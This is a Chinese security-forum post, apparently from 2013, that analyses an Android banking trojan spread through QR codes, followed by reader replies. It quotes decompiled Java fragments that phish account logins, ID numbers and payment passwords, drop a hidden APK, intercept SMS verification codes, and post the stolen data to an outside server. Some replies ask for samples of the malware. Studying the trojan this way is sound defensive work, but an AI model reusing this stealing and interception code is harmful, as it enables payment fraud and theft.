首页
社区
课程
招聘
[原创]手机木马"隐身大盗二代"分析
2013-12-5 09:44 21111

[原创]手机木马"隐身大盗二代"分析

2013-12-5 09:44
21111
手机木马“隐身大盗二代”
分析报告
1        背景
科技越来越发达,网络越来越盛行,随之而来的是网络购物的普遍与流行。网络购物在带给用户购物便利的同时也存在安全隐患。双十一期间发生多起扫描二维码,造成支付账号资金损失的事件,经调查是扫描的二维码被植入了“隐身大盗”手机木马,从而导致手机被黑客控制,窃取了手机绑定的网上支付账户资金。
如果用户使用网上支付却无法收到短信验证码,一定要检查手机是否感染了“隐身大盗”木马,该木马专门屏蔽并窃取受害者验证码短信,从而盗取网上支付账户资金。近期又发现“隐身大盗”出现升级变种,以验证账户为由骗受害者输入身份证号、支付密码等信息,从而完全控制受害者的支付账户。下面就来分析一下“隐身大盗”木马的原理。
2        分析结论
“隐身大盗二代”采取了连环攻击手段,在用户安装完伪装成流行应用的“大包”之后,诱导用户再安装一个伪装成账户安全验证的“小包”,大包专门窃取账号密码、身份证号等,“小包”则暗中监控、识别受害者短信并联网上传。
2.1        伪装为常用应用的“大包”
(1)        通过二维码传播:传输方式更隐蔽,将木马应用的下载链接生成为二维码,通过扫描二维码即可下载。

(2)        伪装为常用应用诱导输入账号和密码:界面伪装成常用应用,启动后显示登录界面,诱导用户输入用户名和密码。

(3)        窃取手机号码并联同账号密码联网上传:应用启动后读取用户的手机号码,联同用户输入的账号和密码一起发送到指定的服务端。

(4)        诱导安装隐藏的“小包”:将”小包”的格式名去掉,放在木马中,当需要安装”小包”时再从中恢复,诱导用户进行安装。

(5)        诱骗输入身份证和支付密码并上传:诱骗用户输入身份证号和支付密码,将输入的信息联网上传到指定服务端。

2.2        在后台静默运行的“小包”
(1)        开机自启动静默执行:小包安装后,隐藏图标,在后台静默执行,一般用户无法察觉。

(2)        监控并拦截短信:拦截短信,并将拦截的短信上传至服务器。
3        恶意程序工作原理

3.1        通过二维码传播“大包”
1、不法分子将二维码发给用户,用户扫描二维码,得到一个下载链接,不法分子诱骗用户下载并安装。

       

图1.木马二维码图
2、另一种传播途径是不正规的安卓市场,将植入木马的常用应用在安卓市场上架,用户自行下载安装。
3.2        诱骗用户输入账号和密码
伪装成常用应用,诱导用户输入登录的账户和密码,用户输入后点击“提交”,将用户输入的账号和密码发送到指定的服务器上。

图2.伪装为淘宝二手诱导用户输入淘宝账号和密码

String str1 = this.val$etName.getText().toString();
if (str1.equals(""))
        Toast.makeText(this.this$0, "请输入用户名", 0).show();
        while (true)
            {获取用户输入的账号
和密码
        return;
              String str2 = this.val$etPass.getText().toString();
        if (str2.equals(""))
              {
        Toast.makeText(this.this$0, "请输入密码", 0).show();
        continue;
              }
……
ToolHelper.postData("http://www.gamefiveo.com/saves.php",localArrayList)
将读取的数据上传至服务器端

3.3        窃取手机号码
通过系统函数读取用户的手机号码,如果能获取到,将手机号码发送到指定的服务器上。

图3.读取手机号码并连同用户输入的账号和密码上传至服务器

TelephonyManagerlocalTelephonyManager =(TelephonyManager)this.this$0.getSystemService("phone");
        MainActivity localMainActivity1 = this.this$0;读取手机号码
              String str3 = localTelephonyManager.getLine1Number();
              localMainActivity1.phoneNum = str3;读取IMEI
        if (this.this$0.phoneNum.equals(""))
              {
        MainActivity localMainActivity2 = this.this$0;
                String str4 = localTelephonyManager.getDeviceId();
                localMainActivity2.phoneNum = str4;
              }
              MainActivity.1.1 local1 = new MainActivity.1.1(this, str1, str2);
        new Thread(local1).start();
……
ToolHelper.postData("http://www.gamefiveo.com/saves.php",localArrayList)
将读取的数据上传至服务器端

3.4        诱导安装小包
后台联网下载小包程序,下载完成后,提示用户“为了资金安全,请安装支付安全软件后再进行操作”,用户点击“确定”即完成了“小包”的安装。
  
图4.诱导用户安装”小包”图5.小包文件

if (!MainActivity.checkApkExist(this.this$0, "google.tao"))
        {检查”小包”是否安装
        MainActivity localMainActivity3 = this.this$0;
AlertDialog.Builder localBuilder1 = new
AlertDialog.Builder(localMainActivity3);
        AlertDialog.Builder localBuilder2 = localBuilder1.setCancelable(0);
        AlertDialog.Builder localBuilder3 = localBuilder1.setMessage("为了您的账号安全,请安装安全中心后再进行操作。谢谢。\n\n点击确定,立即安装");欺诈用户安装
                MainActivity.1.2 local2 = new MainActivity.1.2(this);
AlertDialog.Builder localBuilder4 = localBuilder1.setNegativeButton("确定", local2);用户点击确认后跳转至安装
        AlertDialog.Builder localBuilder5 = localBuilder1.setPositiveButton("取消", null);
        AlertDialog localAlertDialog1 = localBuilder1.create();
        AlertDialog localAlertDialog2 = localBuilder1.show();
        continue;
              }调用安装函数
……
        MainActivity.Install(MainActivity.1.access$0(this.this$1), "");

publicstaticvoid Install(Context paramContext, String paramString)
          {
……将隐藏在木马中的恶意
File localFile = new File(str3, "tz.apk");“小包”还原为apk,增强了毒软件的隐蔽性
try
    {
InputStreamlocalInputStream = paramContext.getAssets().open("tz");
if (!localFile.exists())
      {
booleanbool = localFile.createNewFile();
localFileOutputStream = newFileOutputStream(localFile);
arrayOfByte = newbyte[1024];
if (localInputStream.read(arrayOfByte) <= 0)
        {
localFileOutputStream.close();
localInputStream.close();
        }
      }
……
        String str5 = "chmod " + str4 + " " + str3 + "/" + "tz.apk";修改文件权限
    Process localProcess = Runtime.getRuntime().exec(str5);
while (true)
    {
      Intent localIntent2 = localIntent1.setAction("android.intent.action.VIEW");
      Uri localUri = Uri.fromFile(localFile);
      Intent localIntent3 = localIntent1.setDataAndType(localUri, "application/vnd.android.package-archive");
      Intent localIntent4 = localIntent1.setFlags(268435456);
paramContext.startActivity(localIntent1);安装并于后台运行”小包”

3.5        诱骗输入身份证和支付密码并上传
用户完成小包的安装后,继续诱骗用户输入身份证号和支付的密码,用户输入后,点击“提交”,将用户的身份证和支付密码发送到指定的服务器。

图6.诱导用户输入身份证和支付密码并上传

        String str1 = this.val$etcode.getText().toString();
if (str1.equals(""))获取用户输入的身份证号码
Toast.makeText(this.this$0, "请输入您的身份证号", 0).show();
while (true)
    {
return;
      String str2 = this.val$etCom.getText().toString();
if (str2.equals(""))获取用户输入的支付密码
      {
Toast.makeText(this.this$0, "请输入支付密码", 0).show();
continue;
      }
this.this$0.pd.show();
……
      LocationVerify.1.1 local1 = new LocationVerify.1.1(this, str1, str2);
new Thread(local1).start();
……
ToolHelper.postData("http://www.gamefiveo.com/saves.php",localArrayList)
将读取的数据上传至服务器端

3.6        监控并拦截验证码短信
(1)        小包启动后,在后台静默运行,隐藏图标,用户无法感知。
(2)        监控短信,会拦截所有手机接收的短信
(3)        将屏蔽的短信上传到指定的服务器端,并将手机上的信息删除。

        if (str1.equals("android.provider.Telephony.SMS_RECEIVED"))
            {
        arrayOfSmsMessage = getMessagesFromIntent(paramIntent);监听短信接收
              localStringBuilder1 = newStringBuilder();
        i = arrayOfSmsMessage.length;
              j = 0;
            }
        while (true)
            {
        if (j >= i)启动上传线程准备发送拦截的短信至服务器
              {
                BootReceiver.1 local1 = new BootReceiver.1(this, localStringBuilder1);
        new Thread(local1).start();
        abortBroadcast();
        return;拦截短信
              }读取短信内容
SmsMessagelocalSmsMessage = arrayOfSmsMessage[j];
String str4 = localSmsMessage.getOriginatingAddress();
this.originAddress = str4;
String str5 = localSmsMessage.getDisplayMessageBody();
StringBuilderlocalStringBuilder2 = localStringBuilder1.append(str5);
j += 1;将拦截的短信发送至服务器
……
ToolHelper.postData("http://www.gamefiveo.com/saves.php", localArrayList);

至此,用户的手机号、短信和身份证号全都被木马黑客掌握,手机绑定的网上支付账户也将完全沦陷,黑客可以完全操控用户的手机支付账号,还可能进一步盗刷支付账号绑定的银行账号。该木马病毒将给手机支付的用户带来巨大的安全隐患。

4        建议
保障手机安全支付的建议:
1.        给支付账户设置单独的、高安全级别的密码、给手机支付设置手势密码
2.        二维码扫描后,如果是下载链接,谨慎下载
3.        支付应实名认证
4.        谨慎保管个人的身份证、银行卡、手机验证码等隐私信息
5.        不点击不明链接,不安装不明文件
6.        手机上安装安全管理软件
7.        丢失手机后应打电话给运营商和支付服务商挂失

[培训]《安卓高级研修班(网课)》月薪三万计划,掌 握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
点赞1
打赏
分享
最新回复 (16)
雪    币: 185
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
whnet 2013-12-5 09:56
2
0
说实话。 这种手机二维码中招的,媒体都是夸大了。技术上也不是难事,但总是会有人中招的。
雪    币: 203
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Xfreeboy 2013-12-5 11:07
3
0
有没样本放出?
雪    币: 761
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
赤子Anatta 2013-12-5 13:25
4
0
相当给力的说,不过为啥看不到图呢?LZ编辑下~
雪    币: 1413
活跃值: (401)
能力值: (RANK:270 )
在线值:
发帖
回帖
粉丝
Claud 6 2013-12-5 16:47
5
0
例子不错,蛮有代表性的。上个图或者样本?
雪    币: 65
活跃值: (53)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
yaojunhap 2013-12-5 17:12
6
0
有需要样本的私下在群里小窗吧.
上传的附件:
雪    币: 22
活跃值: (423)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
靴子 2013-12-5 18:25
7
0
所以说 快捷支付神马的 最好不要乱开!
雪    币: 1413
活跃值: (401)
能力值: (RANK:270 )
在线值:
发帖
回帖
粉丝
Claud 6 2013-12-5 22:38
8
0
还好,这个是纯虚假软件钓鱼,正确的防护方法是不从非官网或不可信市场下软件,顺便装个杀毒软件。
雪    币: 2321
活跃值: (4028)
能力值: ( LV12,RANK:530 )
在线值:
发帖
回帖
粉丝
熊猫正正 9 2013-12-6 11:00
9
0
学习~~
雪    币: 357
活跃值: (2648)
能力值: ( LV3,RANK:25 )
在线值:
发帖
回帖
粉丝
KooJiSung 2013-12-6 11:25
10
0
这转过来的钱敢花吗?
雪    币: 563
活跃值: (95)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
lixupeng 2013-12-10 23:58
11
0
基本不用手机支付
雪    币: 205
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
nightbaby 2013-12-11 11:55
12
0
上海电视台已经播放过这个案件了,看样子以后类似这样诈骗行为越来越多
雪    币: 3517
活跃值: (2102)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wogao 2013-12-11 12:40
13
0
yaojunhap,你在群里叫什么名字,找不着你。我想找几个恶意app逆向,熟悉熟悉它们的运行方式,谢谢!
雪    币: 1
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
爱雪人 2013-12-11 16:42
14
0
这贴子写得真是好认真,支持支持。
雪    币: 188
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
zhucaifei 2013-12-12 12:57
15
0
现在不是知名app发现有联网权限就不用。讨厌安卓的自动联网。
雪    币: 2
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
jiduguai 2014-3-23 16:25
16
0
看了下 不错哈
雪    币: 35
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
lovelyjen 2014-12-15 20:10
17
0
对木马分析很认真
游客
登录 | 注册 方可回帖
返回